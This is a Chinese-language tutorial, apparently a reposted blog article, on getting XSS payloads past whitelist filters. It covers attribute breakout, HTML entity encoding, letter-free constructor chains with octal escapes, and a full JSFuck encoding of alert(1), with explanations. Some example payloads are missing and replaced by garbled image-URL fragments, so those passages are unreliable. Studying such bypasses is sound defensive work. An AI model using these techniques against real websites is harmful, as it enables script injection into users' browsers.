強防禦下的XSS繞過思路(一)

很多白帽子在挖掘XSS漏洞的時候,往往會遇到一個問題,就是明明發現這裡的過濾有缺陷,但是就是沒法成功的進行構造利用。可能會由於自身對XSS繞過的侷限性思維,往往只會反覆的去嘗試各種不同 payload代碼,寄希望於其中某一個可以繞過過濾。但是在遇到強有力的XSS防禦措施下,往往只能是竹籃打水一場空。

鑑於這種情況,這裡主要分3個章節來簡單的分享一些XSS繞過思路。

【第一節】 白名單限制繞過

【第二節】 黑名單限制繞過

【第三節】 長度限制繞過

本次主要說的是【第一節】白名單限制繞過的情況

所謂的白名單,就是指允許某些字符輸入,其他一概拒絕,相對黑名單策略,白名單更加安全。

這裡直入正題,說說以下幾種可能存在XSS的情況。

一、輸出在html標籤之間

這種只要以白名單的方式,過濾了>< 直接無解,這裡就直接略過了。

二、輸出在html屬性裡

這種情況的主要有兩種利用方法。

>>>> 2.1 第一種,是利用>

比如 這種情況,可以用下面的代碼形成//p1.ttnews.//p1.ttnews.//p2.ttnews.xyz/60111b8cd7df042770735ae8.jpgyz/60111b8cd7df042770735ae8.jpgyz/60111b8cd7df042770735ae8.jpgss

">

這種方法比較簡單,也比較常見,先用引號和>閉合掉標籤,然後再構造。如果這時候,引號被白名單過濾掉了,那麼在某種情況下,也可以利用html解析的優先級進行繞過,比如:

可以用下面的代碼形成//p1.ttnews.//p1.ttnews.//p2.ttnews.xyz/60111b8cd7df042770735ae8.jpgyz/60111b8cd7df042770735ae8.jpgyz/60111b8cd7df042770735ae8.jpgss

">

在瀏覽器裡,會優先解析title標籤,這樣就成功跳出了引號的限制,形成XSS。

強防禦下的XSS繞過思路(一)

>>>> 2.2第二種,就是利用閉合屬性,跳出引號,再構造新的屬性,形成//p1.ttnews.//p1.ttnews.//p2.ttnews.xyz/60111b8cd7df042770735ae8.jpgyz/60111b8cd7df042770735ae8.jpgyz/60111b8cd7df042770735ae8.jpgss

比如 這種情況,src內容可控,可以用下面的代碼形成//p1.ttnews.//p1.ttnews.//p2.ttnews.xyz/60111b8cd7df042770735ae8.jpgyz/60111b8cd7df042770735ae8.jpgyz/60111b8cd7df042770735ae8.jpgss

如果說這裡白名單過濾掉了引號,其實某種情況下,還可以利用html實體編碼進行繞過。比如

然後onerror屬性可控,但是白名單又將所有字母括號給直接過濾掉,這時候不能直接寫alert(1),但是由於在html標籤的屬性裡,就可以用下面的編碼進行繞過。

強防禦下的XSS繞過思路(一)

所以上述的這些情況,大部分時候,防禦策略只需要在白名單中避免存在'">

三、輸出在js代碼中

這個是本次重點講的一個點,由於在js中,代碼的變化形式比較多樣,這裡我大概提2個點。

>>>> 3.1 比如某處白名單策略,只允許使用[]$='\()+這些字符以及數字0-9,連任意字母都不允許使用。那麼這種情況下,即使知道這裡可能有XSS,要怎麼樣構造利用呢?

這裡給出一個思路。

先說說js中的constructor的用法,constructor 屬性返回對創建此對象的數組函數的引用。

語法,Object.constructor

然後這裡Object.constructor===Function這是恆等的關係。你可以在控制檯試試,會返回true。

強防禦下的XSS繞過思路(一)

所以我們可以使用以下方式創建,並執行一個函數:

new Function("alert(1)")();

也可以不要new關鍵字,那麼就是

Function("alert(1)")()

然後可以將Function轉換下,這裡"..."是一個任意字符串,也可以為空,然後"...".substr就是一個Object,所以這代碼和上面是等效的。

"...".substr.constructor("alert(1)")()


強防禦下的XSS繞過思路(一)

再轉換下,對象可以寫成中括號的形式,比如a.b可以寫成a['b']這樣子。

"..."["substr"]["constructor"]("alert(1)")()

然後對字符串進行變形,任意字符串js中都可以寫成\+ASCII碼的8位形式,也就是查詢到字母的ASCII碼然後將其轉換為8進制時候的結果。

"..."["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()


強防禦下的XSS繞過思路(一)

好了,這樣就可以不用任何字母執行一段js代碼了。

也可以這樣。

new Function("alert(1)")();

等價於

[].constructor.constructor('alert(1)')()

等價於

[]['constructor']['constructor']('alert(1)')()

賦值個變量,縮短下代碼,等價於

[][$='constructor'][$]('alert(1)')()

然後替換下所有字符串,等價於

[][$='\143\157\156\163\164\162\165\143\164\157\162'][$]('\141\154\145\162\164(1)')()


強防禦下的XSS繞過思路(一)

哈哈,好像比上面的還要短點。

>>>> 3.2 這裡可能有人就要說了,你這就是利用了任意字符串js中都可以寫成\+ASCII碼的8位形式,那我直接在把\和數字也白名單過濾了不就行了麼,其實還是可以的,看下面代碼

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

複製這段代碼,放到瀏覽器控制檯執行,可以看到彈1了,是不是很神奇,其實這段代碼就是alert(1)在經過了N次變形的結果。

強防禦下的XSS繞過思路(一)

然後由於代碼只用到了[]+!()6個字符而已,這個寫法有個專業的名稱,叫做jsfuck。

只是看這一堆代碼,誰也不知道這是啥意思,也不知道是怎麼來的,為啥就會執行alert(1),所以下面來給解釋下原理。

[]等於創建了一個array對象,也就是一個數組,然後![]是取反,控制檯直接執行這個會看到,返回了false。那麼!![]也就是對false取反,會返回true。

強防禦下的XSS繞過思路(一)

下來再說一個知識,在js中等於關係有兩種,==叫做等於,===叫做恆等。區別是這樣,恆等的一定滿足等於,但是反之則不一定成立。

1+1===2

true,1,"1"是==的關係

false,0,"0",[]也是==的關係,

還有像[],"",0,false也是==的關係,但是注意"0"和""不是==的關係額。

悄悄的再告訴你,[]和![]也是==的關係額,具體為什麼,有興趣的話可以百度瞭解下。

強防禦下的XSS繞過思路(一)

還有個知識,就是字符串和數字相加,數字會自動轉換為字符串類型,返回的結果會是字符串。字符串和數字相減,字符串會轉換為數字類型,返回的會是數字。

強防禦下的XSS繞過思路(一)

還有一些特殊的,不是字符串也不是數字的時候,像true+true返回2,true+false會返回1。

所以 +true 的結果是1,+false的結果是0。在結合上面說到的,這樣+!![]表示的就是1,+![]表示的就是0了。

強防禦下的XSS繞過思路(一)

原理就是這樣子,然後因為alert(1)可以寫成,[]['constructor']['constructor']('alert(1)')() ,所以只需要將關鍵字constructor和alert(1)對應的jsfuck對應的表達形式構造出來,在進行連接就可以了。由於不能用引號,所以這裡引號也必須重新構造。

這裡直接給出構造思路。那就是利用字符串的可以直接用下標進行讀取的特性,比如字符串'abcd',那麼'abcd'[2]就會返回'c'。

所以a怎麼獲取呢,因為![]代表的是fasle,所以![][1]就是'a',然後再將這裡的1替換掉,就是![][+!![]],這時候你去試試會發現怎麼返回的是true不是'a'啊。那是因為這裡的![]不是字符串,所以需要將其先轉換為字符串,很簡單這樣就可以了,前面提到過像[],"",0,false也是==的關係,那麼(![]+[])[+!![]] 控制檯直接輸入代碼就可以看到效果。

強防禦下的XSS繞過思路(一)

其他的關鍵字的字符也都是這麼慢慢轉換過來的。這裡就不在一一列舉了,感興趣的可以看這裡有詳細的構造思路。https://github.com/aemkei/jsfuck

這裡再提供個jsfuck的代碼生成工具:

https://www.bugku.com/tools/jsfuck/

總 結

文章其實主要是探討的繞過思路,並不會覆蓋所有的XSS漏洞場景去一一列舉。作者認為對於XSS繞過這個問題上,思路還是比較重要的。相比很多人喜歡收集一堆payload,然後一個個的去反覆嘗試,其實瞭解了這些payload的構造思路的話,往往只需要測試一些特殊字符,就大概心裡有數了。

是不是看的意猶未盡?關注公眾號,後續會陸續帶來

【第二節】 黑名單限制繞過

【第三節】 長度限制繞過

以及更多的精彩內容。


分享到:


相關文章: